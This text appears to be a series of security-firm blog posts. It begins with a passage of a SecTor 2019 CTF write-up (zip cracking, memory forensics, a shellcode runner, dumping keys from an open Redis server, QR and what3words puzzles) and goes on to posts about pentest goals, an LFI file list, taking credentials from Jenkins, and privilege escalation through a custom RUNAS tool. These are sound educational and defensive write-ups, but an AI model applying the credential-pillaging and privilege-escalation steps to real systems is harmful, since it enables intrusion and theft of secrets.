35280         0x89D0          Zip archive data, encrypted at   least v2.0 to extract, compressed size: 87, uncompressed size: 80, name:   ../Alice.txt
35453         0x8A7D          Zip archive data, encrypted at   least v2.0 to extract, compressed size: 72, uncompressed size: 63, name:   ../Boris.txt
35611         0x8B1B          Zip archive data, encrypted at   least v2.0 to extract, compressed size: 76, uncompressed size: 65, name:   ../Mallory.txt
36023         0x8CB7          End of Zip archive

Using binwalk also provides another key piece of information; these files are all compressed within a zip archive.  The binwalk tool was kind enough to place all of these files into a new directory, however the .txt files currently contain no data:

$ls -alh
total 392
drwxr-xr-x  14 mike  staff   476B Oct 23 01:54 .
drwxr-xr-x   5 mike  staff   170B Oct 23 01:54 ..
-rw-r--r--@  1 mike  staff   6.0K Oct 23 01:54 .DS_Store
-rw-r--r--   1 mike  staff    20K Oct 23 01:36 1B4
-rw-r--r--   1 mike  staff    35K Oct 23 01:36 1B4.zlib
-rw-r--r--   1 mike  staff    84B Oct 23 01:36 8707
-rw-r--r--   1 mike  staff   1.4K Oct 23 01:36 8707.zlib
-rw-r--r--   1 mike  staff   765B Oct 23 01:36 89D0.zip
-rw-r--r--   1 mike  staff     0B Oct  7 06:52 Alice.txt
-rw-r--r--   1 mike  staff     0B Oct  9 07:36 Boris.txt
-rw-r--r--   1 mike  staff    79K Oct 23 01:36 CAE
-rw-r--r--   1 mike  staff    32K Oct 23 01:36 CAE.zlib
-rw-r--r--   1 mike  staff     0B Oct  7 06:52 Mallory.txt

As indicated by the initial binwalk console output, the files that we are trying to access are contained within a zip archive and we can see that binwalk also created the 89D0.zip file for us. Attempting to extract the files from 89D0.zip prompts us with a password. Using the password that was obtained from decoding the ciphers in the first part of this challenge provides access to the three text files.

$ cat Alice.txt 
Why, sometimes, I've believed as many as six impossible things before breakfast.

$ cat Boris.txt 
The next stage of the challenge can be found at /mem/mem.tar.gz

$ cat Mallory.txt 
SecTor[It would be so nice if something made sense for a change.]

The Alice file ended up being a useless file within the context of the challenges and was added simply to pad out the zip file. The Boris file contained helpful information on the next step in the challenge, and the Mallory file contained the flag indicating that you had solved this stage.

 Flag: "SecTor[It would be so nice if something made sense for a change.]”

Stage Four [Memory Image]

As the challenges progressed the level of difficulty increased. Browsing to the new location provided with the previous flag, sectorctf2019.online/mem/mem.tar.gz, provided contestants with a challenge file containing a unique twist, two flags to be obtained within this stage and no direct path to the next stage.  Contestants completing this stage would need come to the contest booth so that we could validate their progress.  It is worth noting that due to the complexity of memory analysis, there are several paths to the correct answer for each step of this challenge. 

The first step with any unknown memory image is to determine what operating system it was acquired from.  Thankfully, Volatility (volatilityfoundation.org) has a convenient plugin for this called ‘imageinfo’.  Running this will reveal the image to be taken from a 32-bit (x86) Windows XP SP3 operating system.

Next, it is good practice to attempt to develop a baseline of the activity occurring when the snapshot was taken.  Two useful plugins for this are ‘pslist’ and ‘netscan’, which can give an overview of what processes are running and if there are any network connections.  Reviewing these would yield a few artifacts worthy of follow-up, including ‘truecrypt.exe’, and ‘nc.exe’.

The ‘nc.exe’ and its network connections could be found to be a red herring by analyzing the relation to other processes, which would show it was being used with ‘winpmem’ – a quick google reveals this to be a tool used to dump memory, and likely the source of the acquired image.

The Truecrypt process is much more interesting, and once again, Volatility has a series of plugins available to assist with retrieving artifacts for this.  ‘truecryptsummary’ will reveal that a volume is mounted and contains a file ‘flag.txt’.  (A shortcut here could be to leverage the file object address from this output in order to dump flag.txt from memory.  This would not help the contestant find the next flag, however).  A logical next step, since the volume is still mounted, would be to extract the master keys from memory using the plugin ‘truecryptmaster’, or the passphrase using ‘truecryptpassphrase’.

The volume itself can either be dumped from memory or, searching the rest of the memory image for the volume name reveals that it was downloaded using Internet Explorer, and can be downloaded from a URL found in the output of the ‘iehistory’ plugin.

With the encrypted volume and the key or passphrase, decryption can be performed using either the Truecrypt program (passphrase), or by scripting a utility based on the Truecrypt source code, or by some Google-fu to find precoded utilities released online (ie: https://github.com/4144414D/pytruecrypt).

Decryption will reveal the first of 2 flags, along with a file named ‘matryoshka.vc’.  Given that the Truecrypt file extension was ‘.tc’, some quick research or analysis will strongly suggest that this new file is a Veracrypt volume.

The password to the Veracrypt volume involves some additional analysis of the image. Oftentimes, in a forensic investigation where use of the command line (‘cmd.exe’) is observed via ‘pslist’ or some other factor, it is useful to attempt to retrieve the commands executed along with any arguments or outputs.  As this is such a common forensic need, Volatility has a plugin for this as well!  The ‘consoles’ plugin reconstructs command line sessions, showing both input and output.  A review of the results of this plugin would reveal an actor using the ‘nc.exe’ binary as a makeshift chat application, and would provide a passphrase for the Veracrypt volume.  Within the Veracrypt volume is the 2nd flag for this challenge.

Flag1: "SecTor[m3m3nto-m0ri-aesthetically-pleasing]"

Flag2: "SecTor[b0ris-forget$-his-password-always]"

Stage Five [shell code]

Those contestants that successfully completed the 4th stage were provided the location of the next challenge, found at sectorctf2019.online/mem/text.txt.  The text.txt file provided the following string which appears to be hex encoded:

\x31\xc0\xb0\x04\x31\xdb\xb3\x01\xeb\x0f\x59\x31\xd2\xb2\x89\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xec\xff\xff\xff\x55\x67\x65\x56\x71\x74\x5b\x4b\x20\x69\x6b\x78\x67\x20\x6f\x61\x75\x67\x6e\x68\x20\x78\x67\x74\x61\x20\x69\x71\x71\x66\x20\x63\x66\x78\x6b\x65\x67\x2c\x20\x64\x77\x76\x20\x4b\x20\x78\x67\x74\x61\x20\x75\x67\x6e\x66\x71\x6f\x20\x68\x71\x6e\x6e\x71\x79\x20\x6b\x76\x5d\x56\x6a\x67\x20\x70\x67\x7a\x76\x20\x75\x76\x63\x69\x67\x20\x71\x68\x20\x76\x6a\x67\x20\x65\x6a\x63\x6e\x6e\x67\x70\x69\x67\x20\x65\x63\x70\x20\x64\x67\x20\x68\x71\x77\x70\x66\x20\x63\x76\x20\x2f\x76\x77\x74\x64\x77\x6e\x67\x70\x76\x2f\x6e\x71\x6e\x6a\x63\x7a\x2f\x68\x6b\x6e\x67\x0a

Converting the hex directly to ASCII resulted in a malformed output containing unprintable characters.

1ˡ  
1Û³ëY1Ò²‰Í€1À°1Û̀èìÿÿÿUgeVqt[K ikxg oaugnh xgta iqqf cfxkeg, dwv K xgta ugnfqo hqnnqy kv]Vjg pgzv uvcig qh vjg ejcnngpig ecp dg hqwpf cv /vwtdwngpv/nqnjcz/hkng

In fact, the hex provided in text.txt contained both shellcode and encrypted text.  Below, we have provided a proof-of-concept code that will run the initial shellcode to produce the expected output.

char code[] = "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\xeb\x0f\x59\x31\xd2\xb2\x89\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xec\xff\xff\xff\x55\x67\x65\x56\x71\x74\x5b\x4b\x20\x69\x6b\x78\x67\x20\x6f\x61\x75\x67\x6e\x68\x20\x78\x67\x74\x61\x20\x69\x71\x71\x66\x20\x63\x66\x78\x6b\x65\x67\x2c\x20\x64\x77\x76\x20\x4b\x20\x78\x67\x74\x61\x20\x75\x67\x6e\x66\x71\x6f\x20\x68\x71\x6e\x6e\x71\x79\x20\x6b\x76\x5d\x56\x6a\x67\x20\x70\x67\x7a\x76\x20\x75\x76\x63\x69\x67\x20\x71\x68\x20\x76\x6a\x67\x20\x65\x6a\x63\x6e\x6e\x67\x70\x69\x67\x20\x65\x63\x70\x20\x64\x67\x20\x68\x71\x77\x70\x66\x20\x63\x76\x20\x2f\x76\x77\x74\x64\x77\x6e\x67\x70\x76\x2f\x6e\x71\x6e\x6a\x63\x7a\x2f\x68\x6b\x6e\x67\x0a";
int main(int argc, char **argv)
{
    int (*func)();
    func = (int (*)()) code;
    (int)(*func)();
} 

Executing the above code will provide the player with an encrypted string, as seen below. Sharp eyed contestants will notice that the expected output contains a string similar to the original hex decode, which could be used as a shortcut for completing this stage.

UgeVqt[K ikxg oaugnh xgta iqqf cfxkeg, dwv K xgta ugnfqo hqnnqy kv]Vjg pgzv uvcig qh vjg ejcnngpig ecp dg hqwpf cv /vwtdwngpv/nqnjcz/hkng

In a callback to the last cipher from the 3rd stage, this string is encrypted using ROT-24. Decoded we can see the following message containing both the stage flag and the location of the next challenge:

SecTor[I give myself very good advice, but I very seldom follow it]The next stage of the challenge can be found at /turbulent/lolhax/file

Flag: "SecTor[I give myself very good advice, but I very seldom follow it]”

A Change of pace… [Wild Card!]

Players who solved this challenge on the first day were met with a holding page indicating that more challenges were to be posted and additional information would be provided on the last day of the conference. 

Wild Card! Your challenge is in another file.
Multiple Choice
--------------------
/mem/mem2.tar.gz
/TBD/start
If you have gotten this   far, please stop by the booth to make sure we have contact information   [name/email] for you to reward prizes for finalists and you will need to be   present at the booth at the completion of the competition to be eligible to   win.
Due to network issues on   the public conference wifi restricting access to ports and protocols needed   for the above challenges, additional challenges have been provided have been   provided via the following... Please be patient while we work to get these   online. 
/cool/dude/sean.txt
/word/word/word/words.txt

Moving forward from this point brought some additional changes in how the challenges were presented. For the contestants reaching this level the last 4 challenges were released all at the same time, allowing people with multiple paths to completion. This provided players the opportunity to continue to make progress by focusing on their strengths, although completing as many challenges as possible would be key to winning.

Additionally, we took this time to gather contact information from all players reaching this point in the competition in order to ensure that the eventual winners would receive their prizes. 

Stage Six [Memory Image 2]

Well it turns out that Stage Six involved exiting the Matrix. Nobody can really be told what it's like, you have to experience it for yourself. :(

Stage Seven [Pentesting]

This challenge was started when an email was sent to the “ctf.sector2019@gmail.com” address. A reply followed shortly after, containing the following:

Hey,
We got a pentester claiming he was able to use our old VPN jumpbox to get sensitive data from our caching server. All we have is this PCAP file from his activities.
We need you to:
1- Get to the caching server
2- Exfiltrate the data
 
Note: do NOT try to attack the external IP provided. The challenge starts once you are logged in!
Also, SSH is unfortunately blocked on SecTOR wifi...

The email attachment looked like this:

{"private_key":"-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmU(. . . )==
-----END OPENSSH PRIVATE KEY-----","public_key":"ssh-rsa (. . . ) 3oj0T root@jumpbox"}
port:50005
ip:<Challenge IP>
user:root

By using the private key to SSH into the given IP with the given private key, the challenger was presented with three folders with different tools:

root@jumpbox:~# tree .
.
├── network-discovery
│   ├── arp-scan -> /usr/sbin/arp-scan
│   └── nmap -> /usr/bin/nmap
├── tools
│   ├── redis-cli -> /usr/bin/redis-cli
│   └── test.sh
└── tunnel
    └── wg-quick -> /usr/bin/wg-quick
3 directories, 5 files

 

Using Nmap and arp-scan to get a quick recon out of the initial network revealed little to be exploited. No open ports with known vulnerable applications….

Referring back to the original email, there’s a mention of a VPN and a caching server.

The “tunnel” folder contained a hint as to what VPN was used (Wireguard), and the “tools” folder a hint on the caching server (You guessed it, Redis!).

By using the wg0.conf file obtained by exporting the SMB objects of the PCAP file, we were now able to connect to the VPN on the 10.200.200.0/24 network by using “wg-quick up ./wg0.conf”

Now the next logical step was to check what was in the Redis server. There was a “test.sh” script containing this single line:

redis-cli -h 10.200.200.100 ping

In an ideal world, this would have returned a “Pong” reply from the Redis server, but since we are in a CTF, this script returned… nothing. A quick Nmap scan for port 6379/TCP on the VPN network reveals a Redis server running at 10.200.200.1.

Using this IP, we now get our PONG back! No authentication is needed, the server is wide open. We can list all keys on the default Redis database with:

redis-cli -h 10.200.200.1 KEYS “*”
1) "transaction_count"

Now this looks pretty empty. But querying the value of “transaction_count” a few times in a row shows a slowly but surely incrementing number. The solution intended by the challenge designers was to loop over a command to dump keys really quickly. Ex:

redis-cli -h 10.200.200.1  KEYS \* | xargs -n 1 redis-cli dump 

This would reveal some really short-lived transactions

while true; do
redis-cli -h 10.200.200.1  KEYS \*
done
"transaction_count"
“transaction:<random_int>”
            

By dumping these transactions with something like: “redis-cli -h 10.200.200.1 KEYS \* | xargs -n 1 redis-cli dump”, we could finally obtain the flag: “SecTor[PowerLevelItsOver9k!]”.

Shoutout to Thomas who came up with the idea of using the built-in MONITOR command. This streamed on stdout all commands issued to the Redis server.

Stage Eight [Magic Eye]

Browsing to sectorctf2019.online/cool/dude/sean.txt provided the player with a page displaying the following information:

111111100100111011010011101111111
100000100011101111010101101000001
101110101110111000010010101011101
101110100111011010000011001011101
101110100010001000110001001011101
100000100100010101011001001000001
111111101010101010101010101111111
000000001110111011010111000000000
111011111011001111011100111000100
101100001011001001001000011000111
101010110100010000000010101011011
010001011001000101010100100110010
110111100000100101001101111001011
010001011001110011001100101001000
000110101101101000101000001010011
111101000110111111100110110100001
010010101101001011000101111001101
111111010111001010101100101101111
001101100010010000101000101111011
001110010011000001110111010000000
111011110000100001101100011100111
001111010001110010100110111001111
101011101001101011100010011101111
011000011010111111110101100010001
100111101111001001101110111110001
000000001001001011001100100010000
111111101110010010101011101010011
100000101011000001010100100011001
101110101010100001001100111110000
101110100101110011000001000111001
101110101001101001101100100110101
100000101000111111101111101000010
111111101011001001011100100001011

This challenge presented player with a deviation from the normal CTF style puzzles. At first glance the text appears to be a somewhat normal series of binary data.  However, attempting to decode this binary data to ASCII results in the following string:

þNÓ¿‚;Õ ºî®ºvƒ.º"1.‚EY þªª¿î×ï³Üâ°²Hc«D­E‘T™Þ	MåEœÌ¤Ú()ôoæÐJÒÅæýr¬·6$(½90w@ïls=¦ç®šâwa¯õˆžònø’̈þä«©‚°TŒº¨Løº\Áºšlš‚ï¡þ²\…

CTF challenges often result in players staring at a block of indecipherable text, searching for a clue or waiting for inspiration to strike. Staring at the text is just what is needed for this challenge, if you look at how the text is shaped, you may notice that it is a perfect 33x33 square.  Additionally, if you unfocus your eyes when looking at all of the text at once, you may notice a pattern that starts to show up.

This is because sean.txt is a binary representation of a familiar encoding method, and not a binary representation of data.  All of the ‘1’s represent content and all of the ‘0’s represent no content.  Using this information, if you take out all of the ‘0’s from the text, the pattern becomes a lot clearer:

1111111  1  111 11 1  111 1111111
1     1   111 1111 1 1 11 1     1
1 111 1 111 111    1  1 1 1 111 1
1 111 1  111 11 1     11  1 111 1
1 111 1   1   1   11   1  1 111 1
1     1  1   1 1 1 11  1  1     1
1111111 1 1 1 1 1 1 1 1 1 1111111
        111 111 11 1 111         
111 11111 11  1111 111  111   1  
1 11    1 11  1  1  1    11   111
1 1 1 11 1   1        1 1 1 11 11
 1   1 11  1   1 1 1 1  1  11  1 
11 1111     1  1 1  11 1111  1 11
 1   1 11  111  11  11  1 1  1   
   11 1 11 11 1   1 1     1 1  11
1111 1   11 1111111  11 11 1    1
 1  1 1 11 1  1 11   1 1111  11 1
111111 1 111  1 1 1 11  1 11 1111
  11 11   1  1    1 1   1 1111 11
  111  1  11     111 111 1       
111 1111    1    11 11   111  111
  1111 1   111  1 1  11 111  1111
1 1 111 1  11 1 111   1  111 1111
 11    11 1 11111111 1 11   1   1
1  1111 1111  1  11 111 11111   1
        1  1  1 11  11  1   1    
1111111 111  1  1 1 1 111 1 1  11
1     1 1 11     1 1 1  1   11  1
1 111 1 1 1 1    1  11  11111    
1 111 1  1 111  11     1   111  1
1 111 1 1  11 1  11 11  1  11 1 1
1     1 1   1111111 11111 1    1 
1111111 1 11  1  1 111  1    1 11

After making this adjustment it becomes easier to see that sean.txt is a QR code represented in binary.  While it may be possible to scan the code as is, players can change the formatting slightly to make it easier to read. One of the easiest methods is to use conditional formatting in Microsoft Excel, which will alleviate the need to mess around with changing fonts or characters to get everything to line up properly. 

The first step is to import all of the text into Excel, making sure that each number has a unique cell and that all cells are the same size. Once ready, setting up two rules for ‘Conditional Formatting’ allows for easily setting the individual squares to either all white or all black for both the font color and the background fill.  The reason for using two rules is that this prevents any issues that would arise from having black text in a white box.

stage-eight_1.png
stage-eight_2.png

Once this is finished, simply scanning the QR code produces the following message:

Flag: "SecTor[If you happen upon a sheep on a rainy day; courtsey.]"

 

Stage Nine [Key Words]

In what was probably the most obscure challenge provided to users, visiting sectorctf2019.online/word/word/word/words.txt, provided players with some simple instructions and a path to this last stage:

This challenge will require you to build a flag using the correct flag format. The answer is 'within the key hole'; you need the key...
/word/word/word/words.key

Contents of words.key:

samples.bland.founding
studio.pylon.grazes
beamed.combos.farms
blame.sulky.swan
brochure.layered.spelling
amends.healers.output
civic.asteroid.twisting
crawler.crashing.empty
likewise.bank.weaned
cave.slipped.postage
tiptoes.traders.sulky
mile.amused.responds
brochure.layered.spelling

Many people were lost on where to go and what to do with the start of this challenge, and rightfully so.  The words.key file is not a key file or a key in any manner, and none of the strings, or any combination of the words in the strings is the flag either.  Additionally, searching for any of these strings will result in nonsense and nothing related to the challenges at all. 

A very obscure hint was provided in the path to the file, ‘/word/word/word’, that only makes sense if you happen to be aware of the service What 3 Words.  Additionally, whenever someone was looking for assistance or working with us to grab hints on this challenge, we would always be sure to include, and more importantly emphasize, “What 3 words” in the responses provided.

What 3 Words is a geolocation service that has mapped the entire planet into 3 meter squares allowing for very precise location services.

“what3words is a really simple way to talk about location.
We have assigned each 3m square in the world a unique 3 word address that will never change.
For example ///filled.count.soap marks the exact entrance to what3words’ London headquarters.”

Using the what3words service, this provides us with 12 locations to map, as one location is listed twice.  Looking at the first grouping of word, samples.bland.founding, we see that this is mapped to a nearby Toronto location:

In fact, all of the locations provided are right around that initial location in Toronto. Now, that we understand that this challenge is using the What 3 words service, we should return to the initial notes explaining that we need to build the flag and that the answer is within the keyhole, but we need a key.

 If you take the locations in the order that they are listed and connect-the-dots from one location to the next you will find your answer.  This can be easily explained by mapping each of the locations to a simple grid based on their position from the What 3 words Service:

#Original order:
c6   > b6 > b5 > b4 > b3 > c3 > c2 > c1 > b1 > a1 >   a2 > a3 > b3
a1     | cave.slipped.postage
a2     | tiptoes.traders.sulky
a3     | mile.amused.responds
b1     | likewise.bank.weaned
b2*    | select.threaten.shelters
b3^    | brochure.layered.spelling
b4     | blame.sulky.swan
b5     | beamed.combos.farms
b6     | studio.pylon.grazes
c1     | crawler.crashing.empty
c2     | civic.asteroid.twisting
c3     | amends.healers.output
c6     | samples.bland.founding

Using this pattern, we are able to find a rudimentary 8-bit style key:

 |123456
-+-------
a|███
b|█_████
c|███  █ 

From here, we need to take the other part of the directions, and the get the answer from within the keyhole.  To do this, we need to go back to the What 3 Words service, and pull out the code from what would be the (b2) position, correlating to the hole in the key image we just mapped.

stage_nine_2a.png

This (b2) location, select.threaten.shelters, was the final answer that just needed to be formatted correctly for the last flag.  This location, the CN Tower, was chosen as the flag due to its prominence in the Toronto landscape and the proximity to the conference.

Flag: "SecTor[select.threaten.shelters]"

Conclusion

We had a great time building and executing the 2019 SecTor CTF contest. We would like to thank all the attendees who visited the CTF booth to try their hand at the challenges and who provided valuable feedback as they progressed through the stages. It’s always amazing to see the level of technical skill and creative problem-solving contestants display, with some people completing the first few stages entirely on their phones.

Ultimately there were eight contestants or teams to reach the final four challenges. A single industrious individual managed to solve every challenge, winning both the completion and the envy of the other contestants. Our second-place winner completed two of the final four challenges and third place was awarded to the team which completed a single final four challenge first.

If you enjoyed this CTF and would like Dolos Group to assist at your conference or event, contact us at info@dolosgroup.io

Advancing Strategic Security Goals with Offensive Testing

Your organization has a unique information security posture and nobody really understands it like you do. You are fighting a constant battle, not only against those who would attack your organization but for the resources required to perform your duties. You face competition for qualified personnel, push-back on costly best practices, and arguments against upgrading or purchasing critical new technology. Even when it seems like everything is ticking like clockwork, you know the storm is just over the horizon. The constant pressure of all these challenges can easily push the idea of offensive (penetration) testing way down the priority list. Additionally, penetration testing is often negatively framed as an unnecessary, disruptive exercise that generates additional busy-work for the already overtaxed security team.

In reality, offensive testing is a powerful tool for prioritizing and advancing your security program.

Advocating for the resources you need can be difficult, but a well-designed and executed penetration test can provide you with both the narrative and metrics to reinforce your arguments. A penetration test can answer difficult questions, uncover critical issues, and break-up analysis paralysis. The key lies in understanding what goals you are looking to achieve and working with your penetration testers to design an engagement that advances that agenda.

Often penetration testers will talk about the specific goals or “flags” for a particular engagement. An example would be “accessing credit card data” as part of a Payment Card Industry (PCI) compliance testing requirement. While it’s important to define these tactical goals that will be pursued during the test, it’s critical that everyone understand the larger, strategic goals you hope to achieve. Starting with a strong understanding of what goals you want to achieve will provide the foundation for the entire test. Effective communication of these goals helps select the right penetration testing team, ensures the test is properly scoped, and that the resulting report provides the greatest value for your budget. The exact motivations will be unique to your organization, but we detail seven of the most common starting points below.

Budget Balance

That brand new, next-gen AI powered Anti-APT wonder appliance (with customizable dashboards) might provide visibility into the dark corners of your network. However, you also need additional headcount to round out your team’s IR skillset. Or maybe you don’t really need either of those things. Offensive testing can demonstrably highlight the immediate need for your most requested resources. Setting a testing goal to determine gaps caused by a lack of resources provide insight into where your security budget would best be allocated and ammunition for why it should be increased. You could discover that instead of a new appliance, you simply need to deploy proper coverage of other technologies. Or maybe that appliance is exactly what you need to move your security program forward.

Alternative Analysis

Building secure systems is difficult. Getting Senior Developers, System Administrators, Network Engineers, and various other stakeholders to understand and properly implement security when designing a new system is an uphill battle. Their efforts are further hampered by the fact that they simply do not think like an attacker. Where a design team may see a series of reasonable and rational decisions, and assumptions an attacker may see a security hole through which they could drive a truck. Setting a goal of providing an alternative viewpoint, the viewpoint of an outside attacker, allows testing to discover gaps in the design, and provide recommendations before it’s too late.

Details Matter

Implementation errors are perhaps the single largest source of vulnerabilities in all of information security. A solid design is a great foundation but your systems are ultimately implemented by people and people can be relied upon to make bad security decisions. The gaps between the secure design and the imperfect implementation can be difficult for automated scanning tools to discover but can be easily leveraged by an attacker. Setting a testing goal of discovering these types of implementation errors results in more robust and hardened systems.

Baselines

“We have never had a test.” Maybe your organization is just reaching the size and complexity where a penetration test could provide real insight. Or maybe you have just come on-board to manage your organization’s information security program and are looking to better understand the landscape. Do you really know your current security posture, Internet-facing attack surface, susceptibility to phishing and Application/Database security?  Setting a testing goal of assessing overall security health can provide a more accurate picture of your current environment and prioritize the biggest risks to your data.

Mergers & Accusations

Growth is an important aspect of business but acquiring a new company often involves dealing with an unknown level of risks. The merger may bring in a new technology stack which seems to be exactly what your company needs to increase its competitive advantage. However, integrating systems blindly may introduce a whole host of vulnerabilities into your organization, undoing years of hard work. Standardizing security assessments as part of the M&A process can help identify vulnerabilities that carry their own remediation costs. A third-party testing firm can provide the impartial assessment needed to move forward with confidence.

Vendor Security

Partnering with various vendors is critical to the success of your organization. Every vendor is ready to assure you that they take security “seriously” or even “very seriously”. Trust but verify, a testing goal targeting vendor systems integrated with your organization is a solid starting point. Additionally, vendors should be able to produce sanitized versions of their own penetration testing reports as evidence of their “serious” commitment to security.

Blue Team Training

A key part of your blue team’s responsibility is to detect and respond to threats. Keeping these capabilities sharp requires both training and experience. Well-scoped Red Team and Purple Team engagements can provide valuable learning experiences for your blue team. Constructing a testing goal of providing a realistic attack scenario in a controlled fashion can identify gaps in your overall technology, training, processes, and design.

Working in information security requires finding the compromise between the ideal security and the reality of our chaotic world. Well planned and executed offensive testing can provide the arrows in your quiver needed to advance your information security program.

Knowing What To Expect - os-file-list

It’s something every web application penetration tester comes across. You uncover a possible weakness, maybe a local file inclusion, directory traversal, or other vulnerability that could allow for interaction with the file system. What you need to verify the finding is a known file in a known location and, most of the time, testers tend to choose the old stand-by “/etc/passwd”.

But what happens when the web application firewall designer is wise to your penetration tester tricks and blocks on a trigger of “/etc/passwd”? What happens when the verification of this vulnerability is not the end of the finding but the start of your larger attack? Flexibility and a depth of options becomes more important and a larger list of potential local files can be very helpful.

os-file-list (https://github.com/DolosGroup/os-file-list)  is a simple project designed to help penetration testers easily move past “/etc/passwd”, providing a base to cover various configurations and identify gaps in protections. os-file-list is a directory listing of world-readable files from the different Linux distributions available on leading cloud service providers. In addition to the world-readable files, we also provide readable file listings for a basic user with no special permissions as well as the default user created by the cloud service provider (e.g. admin/ec2-user/root). We found the basic user useful for when administrators create a limited user account (a best practice) for handling various tasks and the default user useful when an administrator failed to create a separate user.

The output is a simple one file per line format, easily included in directory enumeration tools such as Burp Intruder, or any custom written script. Additionally, the script used to generate the directory files is included in the project should anyone need to easily generate a custom listing.

Project URL: https://github.com/DolosGroup/os-file-list

Pillaging The Jenkins Treasure Chest

Jenkins is a popular target for penetration testers mainly because certain server configurations expose the Groovy Script Editor which, provided the proper payload, can lead to remote code execution on the server. More and more commonly though, this technique is working less and less.

Despite this, even if you don’t have access to the Groovy Script Editor, you still stand a decent chance of getting something valuable out of it. Jenkins tends to be a treasure trove of information in certain organizations, and it’s all too easy for a developer or operations team to leave something behind “just to get things done”.

A little background – Jenkins is an automation server for developers to automate the building of software, run tests on that software, etc. These “builds” that Jenkins runs, can contain things like the console output of the build process, (basically stdout of a bunch of commands and scripts), associated files in the form of “workspaces”, inherited environment variables, and much more. 

Let’s talk about a couple of these:

Console Output

During a pentest, we found a Jenkins server with hundreds of “builds”, each containing a handy button on the left side called “Console Output”.

Screen Shot 2019-06-20 at 2.37.34 PM.png

Intrigued, we clicked on it and saw what ended up being the literal stdout of the build process. Many of the builds’ console output we checked ended up being mostly useless, but some? Not so useless. A couple examples of what we’ve seen:

  • Curl/wget commands with plaintext creds to different services

  • Contents of certain automation scripts

  • Failed test cases containing SOAP requests & developer credentials

  • SSH private keys as part of a deployment script

  • Mysql client, JDBC connection strings, and sqlplus credentials

Interestingly, we saw that several instances of the exposed data were actually because some part of the build process failed, and data was exposed as error messages or stack traces. If the build succeeded properly, nobody may have known. This goes to show that failure conditions can be just as important, if not more than success conditions.

We found that the “Console Output” was in every build we came across and was a very reliable source of sensitive information.

Workspaces

Certain project builds are more complicated and require accompanying files to correctly build the project. They could be source code, private keys, certificate bundles, credentials, configs, or anything else. You can think of workspaces the same way you think of directory indexing on web servers.

Screen Shot 2019-06-20 at 3.11.59 PM.png

Workspaces did not appear in as many builds as the console output did, but tended to contain even more sensitive information. A couple of things we found from workspaces:

  • “Protected” source code

  • Many web.config files containing DB connection details

  • .ssh folders with private keys & known hosts files

  • Client certificates & credentials for connecting to APIs

  • Included, but unused scripts containing hardcoded credentials

  • AWS deployment ID & secret keys

We found that workspaces tended to have a lot of data they didn’t need. After all, it’s easier to include a whole directory structure, than specifically say which directories are important or not.

Environment Variables

It’s well-known within the developer community that including credentials in source code is a pretty big no-no. Despite this advice being often ignored, some developers follow the guidance of “include credentials and API keys as environment variables” which is better. Well, Jenkins can expose those too.

You can configure certain builds to inherit particular environment variables that the build can refer to during its creation process. Things we’ve seen from exposed environment variables:

  • Internal network information for where the build if being deployed

  • Credentials

  • Proxy settings

  • Paths, usernames, emails, and admin URLs

Tool Release

These techniques have been used to compromise multi-billion-dollar corporations and are incredibly useful in today’s application development landscape. If you come across a Jenkins server during a pentest, we highly recommend taking a look at the accessible internals. Unfortunately, grabbing all these pieces manually from the web interface can be tedious and a hassle. We are releasing Jenkins-Pillage to automatically gather this information more quickly and easily.

https://github.com/DolosGroup/Jenkins-Pillage

Pentest Deep-Dive: Custom RUNAS

Information Security often exists in a delicate balance with business demands. Organizations weighing security against functionality, cost, ease-of-use, or time for development, commonly choose imperfect but realistic compromises.

For the most part, these compromises allow for progress towards business objectives while maintaining an acceptable balance. Other times—especially in the absence of a proper security evaluation—organizations can inadvertently deploy solutions that drastically increase their risk.

During a recent internal network penetration test we came across a prime example of an unbalanced solution. To solve the old problem of "How do we allow our users to install approved applications on their systems?" this organization developed a custom solution in-house. Installation scripts for the approved applications were placed within a directory on the C:\ drive and, via an easy-to-use GUI, users could select which program to install, triggering the associated script.

As a security consideration within this environment, users were not administrators on their assigned systems. However, most of the approved applications require administrator privileges to install.

As a security inconsideration, all the user workstations have been configured with a shared local administrator password so a single version of the script could be deployed on every system.

At some point, we imagine the idea was floated to use the RUNAS command in a batch file to execute the installation as the local administrator. However, RUNAS expressly does not accept including a password on the command line as doing so would inevitably lead to weak deployments. As described by Microsoft’s Raymond Chen:

This was a conscious decision. If it were possible to pass the password on the command line, people would start embedding passwords into batch files and logon scripts, which is laughably insecure.
— https://blogs.msdn.microsoft.com/oldnewthing/20041129-00/?p=37183

Raymond kindly offers an option for those looking to head down this bad decision rabbit-hole in the form of creating a custom executable using the “CreateProcessWithLogonW function, which does allow for plaintext passwords from the command line. And as such, a custom executable which solved this corporate need was born. For the context of this writeup we will call this RUNAS_A.exe.

At first glance we can see the developer attempted to avoid using plaintext passwords as command line arguments by instead requiring an encrypted value. An example of this:

     RUNAS_A /user administrator /pass <EncryptedPassword> “C:\installApp\install.bat”

But wait, couldn’t any user run any command as the local administrator by merely using the same command line string with a different command? e.g.:

     RUNAS_A /user administrator /pass <EncryptedPassword> “C:\evilApp.exe”

You guessed it. A static value whether “encrypted” or not does not prevent abuse given the design of this application. Given this knowledge, an attacker could perform horizontal and vertical (per system) privilege escalation to all machines sharing the Local Administrator credential.


Lets dive a little deeper…

When first looking at the RUNAS_A command string, we noticed the password value was base64 encoded. For example:

     RUNAS_A /user admin /pass lkB6RJYwDDFtbxckaGeaUuQwWnXpcAsuHEmaMNAhrQ== “C:\installApp\install.bat”

Our hopes that someone had made the classic mistake of confusing encoding with encryption were soon dashed as the decoded password string had likely been encoded to avoid either unprintable or control characters.

Decoded Encrypted Password

Decoded Encrypted Password

The password was easily decoded but still encrypted. With access to the RUNAS_A executable, we took a look to see what it was doing regarding encryption. Before starting up any serious reversing effort, we tried running the application with no options provided.

Running RUNAS_A.exe

Running RUNAS_A.exe

One of the options of RUNAS_A is an "encryption mode" to let you encrypt passwords before use. Let's try a quick known-plaintext attack to see if we can figure out what is going on.

Encrypting a Password with RUNAS_A.exe

Encrypting a Password with RUNAS_A.exe

Decoding our base64 output gives us the encrypted password.

Decoded Encrypted “testpassword” Password

Decoded Encrypted “testpassword” Password

Time to take a look at the output and identify the encryption algorithm? After merely looking at it for a second, we realize the “encryption” involves placing a random character between every other character of the password.

“DECRYPTED”

“DECRYPTED”

